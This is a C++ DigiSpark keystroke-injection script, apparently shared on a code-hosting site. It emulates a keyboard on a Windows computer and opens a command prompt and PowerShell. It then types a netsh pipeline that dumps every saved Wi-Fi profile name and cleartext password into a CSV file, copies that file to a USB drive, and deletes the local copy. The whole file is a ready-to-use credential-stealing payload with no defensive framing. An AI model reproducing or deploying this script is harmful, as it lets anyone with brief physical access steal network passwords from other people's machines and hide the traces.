42 lines
1.6 KiB
C++
42 lines
1.6 KiB
C++
//This DigiSpark script writes the wireless network credentials to a csv file in a usb mounted at d:\ - change accordingly.
|
|
//Credits to p0wc0w.
|
|
#include "DigiKeyboard.h"
|
|
void setup() {
|
|
}
|
|
|
|
void loop() {
|
|
DigiKeyboard.sendKeyStroke(0);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print("cmd");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print(F("powershell"));
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv "));
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(3000);
|
|
DigiKeyboard.print("exit");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print("exit");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
|
DigiKeyboard.delay(200);
|
|
DigiKeyboard.print("cmd");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print(F("copy temp.csv d:\\"));
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print(F("del temp.csv"));
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(500);
|
|
DigiKeyboard.print("exit");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
for(;;){ /*empty*/ }
|
|
}
|